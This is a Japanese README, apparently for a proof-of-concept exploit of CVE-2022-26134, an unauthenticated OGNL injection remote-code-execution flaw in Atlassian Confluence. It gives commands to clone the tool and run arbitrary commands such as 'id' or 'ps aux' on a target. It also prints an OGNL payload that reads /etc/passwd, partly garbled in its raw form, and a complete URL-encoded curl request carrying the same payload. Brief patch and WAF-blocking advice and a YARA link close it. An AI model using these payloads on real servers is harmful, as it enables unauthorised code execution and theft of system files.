
CVE-2022-26134の概念実証エクスプロイト。これは、Atlassian Confluence ServerおよびData Centerにおける無認証のOGNLインジェクション脆弱性であり、リモートコード実行を可能にします。
Atlassian Confluence 7.18 およびそれ以前の製品に影響を与えるリモートコード実行脆弱性を悪用する概念実証スクリプト。OGNLインジェクション脆弱性により、認証されていないユーザーがConfluence ServerまたはData Centerインスタンス上で任意のコードを実行できます。
サポートされているすべてのバージョンのConfluence ServerおよびData Centerが影響を受けます。
Confluence ServerおよびData Centerのバージョン1.3.0以降、7.18.1未満が影響を受けます。
この脆弱性のCVSSスコアは重大度10/10です。
pip install -r requirements.txtでインストールできます。リポジトリをクローンする
git clone https://gitlab.com/Naqwada/cve-2022-26134
cd CVE-2022-26134
その後、以下のように任意のコマンドでエクスプロイトを実行できます:
python3 cve-2022-26134.py https://target.com CMD
python3 cve-2022-26134.py https://target.com id
python3 cve-2022-26134.py https://target.com "ps aux"

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
CURLコマンドの例:
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
コマンドの結果は、レスポンスヘッダーの X-Cmd-Response パラメータに反映されます。
Atlassianの公式推奨事項に従ってください:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Atlassianはこの問題のパッチを含むバージョン7.4.17、7.13.7、7.14.3、7.15.2、7.16.4、7.17.4、7.18.1をリリースしました。
この脆弱性はすべてのセルフホストインスタンスに影響します。WAFを使用している場合は、${ を含むURLをブロックできます。
YARA(Volexity作成): https://github.com/volexity/threat-intel/blob/main/2022/2022-06-02%20Active%20Exploitation%20Of%20Confluence%200-day/indicators/yara.yar
教育目的のみに使用してください。
